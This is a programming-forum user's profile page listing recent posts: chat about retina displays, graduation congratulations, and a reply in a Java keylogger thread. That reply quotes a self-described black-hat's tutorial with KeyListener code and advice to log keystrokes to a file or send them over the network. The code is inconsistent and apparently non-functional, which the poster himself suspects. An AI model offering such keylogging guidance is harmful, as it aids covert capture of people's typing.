Jump to content


Check out our Community Blogs

Brandon W

Member Since 28 Sep 2008
Offline Last Active Apr 09 2016 01:49 AM
-----

Posts I've Made

In Topic: Computer Screens

19 November 2012 - 09:09 PM

Agreed with Winged on the comment about the TV - I've always questioned why people would like HD televisions when you pay a few 1000 dollars more (all TV's I see on sale now are 1080p so really, there is no choice now) for something that you might not even realise. I watched a DVD the other day then watched a Blu-Ray DVD and yes, I could notice a difference but was extremely slim.

Comparing that to my old iPhone 3G and my iPhone 5 though, you can see a significant difference. And not that I would intentionally go out and buy a retina display phone just for the retina display. Crisp but only looks prettier.

The comment BenW makes about the new Macbook Pro though is amazing. The screen on those machines are just incredible and absolutely beautiful! That and then playing around with some general internet browsing was also incredible. Unfortunately, I didn't have the opportunity to play around on one with XCode but just writing some random jibberish was nice, let alone programming and debugging.

Retina displays are quite pricey though and that's why Apple has not added it to their iPad Mini for cost reasons. They've managed to add it to the Macbook Pro's but at a significant cost. Let alone adding it to a (let's just be generous here) 21" screen would bump up the price a few hundred dollars. In saying that though, the day is coming and I'll continue to drool over that Macbook Pro screen until I can get my hands on a 21" Retina Display screen!


On the note of vertical displays. The ones at uni are 24", I think, and can be made vertical. Mate does it all the time for Reddit. The ideal setup though: one vertical screen on the left, widescreen display in the middle and another vertical screen on the right. Internet Browsing/Documentation, Application Testing/Viewing, actual program code.... *drools*

In Topic: How to create a keylogger in java

19 November 2012 - 08:44 PM

yes you can... dont listen to the 2 people before me.

Before I explain how, let me tell you why you should trust me:

I have been programming in java for 6 years
I am industry certified in java SE_6 and SE_7
I have made countless black-hat programs (including keyloggers)

okay here is what you do:

1. implement KeyListener in a class
2. add the methods: keyTyped(KeyEvent e), keyPressed(KeyEvent e), KeyReleased(KeyEvent e), Display(KeyEvent e, String status)
here is the code:

public class KeyLogger implements KeyListener {

/** Handle the key typed event from the text field. */
public void keyTyped(KeyEvent e) {
	 displayInfo(e, "KEY TYPED: ");
}
/** Handle the key-pressed event from the text field. */
public void keyPressed(KeyEvent e) {
	 displayInfo(e, "KEY PRESSED: ");
}
/** Handle the key-released event from the text field. */
public void keyReleased(KeyEvent e) {
	 display(e, "KEY RELEASED: ");
}

private void display(KeyEvent e, String keyStatus){
	
	 //You should only rely on the key char if the event
	 //is a key typed event.
	 int id = e.getID();
	 String keyString;
	 if (id == KeyEvent.KEY_TYPED) {
		 char c = e.getKeyChar();
		 keyString = "key character = '" + c + "'";
	 } else {
		 int keyCode = e.getKeyCode();
		 keyString = "key code = " + keyCode+ " ("+ KeyEvent.getKeyText(keyCode)+ ")";
	 }//end of if
System.out.println(keyString);
}//end of display

add that into a program and change the println to a write-to-file, or have it send to you through a networked program.

THIS COMMENT/MINI-TUTORIAL IS FOR EDUCATIONAL PURPOSES ONLY. YOU ARE RESPONSABLE FOR THE OUTCOME OF YOUR USE OF THIS CODE.



Can't say I've tested this yet but directly from the Oracle Tutorial on 'How to Write a Key Listener':

Note:
To fire keyboard events, a component must have the keyboard focus.

To make a component get the keyboard focus, follow these steps:

  • Make sure the component's isFocusable method returns true. This state allows the component to receive the focus. For example, you can enable keyboard focus for a JLabel component by calling the setFocusable(true) method on the label.
  • Make sure the component requests the focus when appropriate. For custom components, implement a mouse listener that calls the requestFocusInWindow method when the component is clicked.

Article here.

So, in saying that and reading that, I doubt this is functional but please, if someone would test it and correct me, that would be appreciated for the original poster :)

In Topic: Graduated!

19 November 2012 - 03:11 AM

Well... It turns out that I just started to notice you JUST before you started your degree haha :)

In Topic: All Rank Images:)

18 November 2012 - 03:23 PM

Very old thread being bumped o.O CodeCall has undergone many, many changes since this thread, anothertestaccount :) And these ranks are no longer in-use. They were quite fun though :) Pretty sure that I reached Code Slinger before the end of it though and good ol' Xar (which has now disappeared) never made it to Code Master. Don't think anyone ever did :)

In Topic: Graduated!

18 November 2012 - 03:52 AM

Congratulations on finally graduating, Orjan :D Remember when you joined and so, that would have been around the time you started your degree! Top job mate and that is something to be extremely proud of :)

Good luck with any future endeavours mate :) Including finding work! Hopefully you find someone to take you shortly :) Always had that problem myself... It's who you know, not what you know ;)

Recommended from our users: Dynamic Network Monitoring from WhatsUp Gold from IPSwitch. Free Download